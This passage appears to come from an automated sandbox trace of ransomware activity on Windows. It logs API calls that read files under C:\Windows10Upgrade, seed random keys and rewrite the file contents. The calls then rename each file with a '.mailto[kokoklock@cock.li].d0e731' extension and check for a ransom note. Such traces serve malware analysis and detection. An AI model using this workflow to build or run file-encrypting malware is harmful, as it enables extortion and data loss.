(normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.195] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0076.195] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", dwFileAttributes=0x20) returned 0 [0076.196] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.196] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.196] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.196] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.196] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd0f0) returned 1 [0076.196] RtlExitUserThread (Status=0x1) Thread: id = 799 os_tid = 0x13d0 [0076.197] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png")) returned 0x20 [0076.198] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", dwFileAttributes=0x20) returned 1 [0076.199] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.199] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1dd3fad8 | out: lpFileSize=0x1dd3fad8*=2212) returned 1 [0076.199] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x8a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.199] ReadFile (in: hFile=0x9f0, lpBuffer=0x1dd3faac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x1dd3faac*, lpNumberOfBytesRead=0x1dd3faa8*=0x4, lpOverlapped=0x0) returned 1 [0076.200] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478aa8 [0076.200] NtQuerySystemTime (in: CurrentTime=0x1dd3fa84 | out: CurrentTime=0x1dd3fa84*=132121176340972855) returned 0x0 [0076.200] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x70a352b1 [0076.200] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xd135e2dc [0076.200] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x24afc062 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xf3b0d1e [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x3a0222d0 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x9f104330 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x90187115 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x7acd7dcf [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x869f8803 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x24a8e8d3 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x7614b2ae [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xc28f7e41 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x2fc22860 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x3772a752 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x8d3992d1 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x47d85873 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xaf69981f [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x828cedc [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x87173af8 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x513668d0 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x15975949 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x4a3ad79e [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x693d9c3b [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x76c207d8 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xe9d75cef [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xb1308338 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xf5ed73ce [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x72d1f85 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xde6bb862 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xd376fe47 [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0xc6eed47f [0076.201] RtlRandom (in: Seed=0x1dd3fa90 | out: Seed=0x1dd3fa90) returned 0x9d99e985 [0076.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b98 [0076.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b98) returned 1 [0076.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.212] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x1dd3fa84, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1dd3fa84*=0x8a4, lpOverlapped=0x0) returned 1 [0076.213] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1dd3fa4c | out: lpNewFilePointer=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x1dd3fa80, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1dd3fa80*=0x8a4, lpOverlapped=0x0) returned 1 [0076.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b98 [0076.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dd3fa7c, lpOverlapped=0x0 | out: lpBuffer=0x3478b98*, lpNumberOfBytesWritten=0x1dd3fa7c*=0x20, lpOverlapped=0x0) returned 1 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b98) returned 1 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x3478b70*, lpNumberOfBytesWritten=0x1dd3faa8*=0x8, lpOverlapped=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x1dd3fac0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x1dd3fac0*, lpNumberOfBytesWritten=0x1dd3faa8*=0x4, lpOverlapped=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1dd3faa8*=0x4, lpOverlapped=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1dd3faa8*=0x6c, lpOverlapped=0x0) returned 1 [0076.213] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1dd3faa8*=0x20, lpOverlapped=0x0) returned 1 [0076.214] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1dd3faa8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1dd3faa8*=0x4, lpOverlapped=0x0) returned 1 [0076.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b70) returned 1 [0076.214] CloseHandle (hObject=0x9f0) returned 1 [0076.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7af8 [0076.214] wcscpy (in: _Dest=0x33f7af8, _Source="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" [0076.214] wcscat (in: _Dest=0x33f7af8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" [0076.214] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.215] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7af8) returned 1 [0076.215] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", dwFileAttributes=0x20) returned 0 [0076.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.215] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.215] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.215] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e24e0) returned 1 [0076.215] RtlExitUserThread (Status=0x1) Thread: id = 800 os_tid = 0x13d4 [0076.216] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png")) returned 0x20 [0076.217] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png", dwFileAttributes=0x20) returned 1 [0076.217] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.217] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1ddbfafc | out: lpFileSize=0x1ddbfafc*=1822) returned 1 [0076.217] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x71a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.217] ReadFile (in: hFile=0x9f0, lpBuffer=0x1ddbfad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x1ddbfad0*, lpNumberOfBytesRead=0x1ddbfacc*=0x4, lpOverlapped=0x0) returned 1 [0076.218] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.219] NtQuerySystemTime (in: CurrentTime=0x1ddbfaa8 | out: CurrentTime=0x1ddbfaa8*=132121176341127791) returned 0x0 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x7312e370 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x9e5211ce [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xb69fc433 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x28b8365d [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x4bb86877 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x91f5bf83 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x7691876d [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xd42167ef [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xf92f5570 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x934f249a [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x84a53c58 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x9f8df25b [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xaf9197a5 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xfaf891ef [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xc32bd678 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xff554080 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x3ad17529 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xd581e818 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x25afcabf [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xd9afc3a6 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xc1df3fe0 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x3ac627cd [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x2f82e2e [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xdc0f5bb6 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x806b13a3 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xdfbefcbd [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x68817ba0 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0xb17df8e0 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x14b17707 [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x48f2487c [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x68687e1a [0076.219] RtlRandom (in: Seed=0x1ddbfab4 | out: Seed=0x1ddbfab4) returned 0x83989f66 [0076.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.231] ReadFile (in: hFile=0x9f0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x1ddbfaa8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1ddbfaa8*=0x71e, lpOverlapped=0x0) returned 1 [0076.231] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ddbfa70 | out: lpNewFilePointer=0x0) returned 1 [0076.231] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x1ddbfaa4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1ddbfaa4*=0x71e, lpOverlapped=0x0) returned 1 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.231] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478be8 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478be8) returned 1 [0076.231] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ddbfaa0, lpOverlapped=0x0 | out: lpBuffer=0x3478bc0*, lpNumberOfBytesWritten=0x1ddbfaa0*=0x20, lpOverlapped=0x0) returned 1 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.231] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478b98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x3478b98*, lpNumberOfBytesWritten=0x1ddbfacc*=0x8, lpOverlapped=0x0) returned 1 [0076.232] WriteFile (in: hFile=0x9f0, lpBuffer=0x1ddbfae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x1ddbfae4*, lpNumberOfBytesWritten=0x1ddbfacc*=0x4, lpOverlapped=0x0) returned 1 [0076.232] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ddbfacc*=0x4, lpOverlapped=0x0) returned 1 [0076.232] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ddbfacc*=0x6c, lpOverlapped=0x0) returned 1 [0076.232] WriteFile (in: hFile=0x9f0, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1ddbfacc*=0x20, lpOverlapped=0x0) returned 1 [0076.232] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ddbfacc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ddbfacc*=0x4, lpOverlapped=0x0) returned 1 [0076.232] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.232] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b70) returned 1 [0076.232] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b98) returned 1 [0076.232] CloseHandle (hObject=0x9f0) returned 1 [0076.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb450 [0076.232] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\resources\\ux\\pass.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png" [0076.232] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731" [0076.232] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.233] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.233] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0076.233] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\pass.png", dwFileAttributes=0x20) returned 0 [0076.233] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.233] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.233] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.233] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.233] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.233] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fbe0) returned 1 [0076.233] RtlExitUserThread (Status=0x1) Thread: id = 801 os_tid = 0x13e8 [0076.235] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml")) returned 0x20 [0076.237] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml", dwFileAttributes=0x20) returned 1 [0076.239] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0076.240] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x1de3f91c | out: lpFileSize=0x1de3f91c*=91648) returned 1 [0076.240] SetFilePointerEx 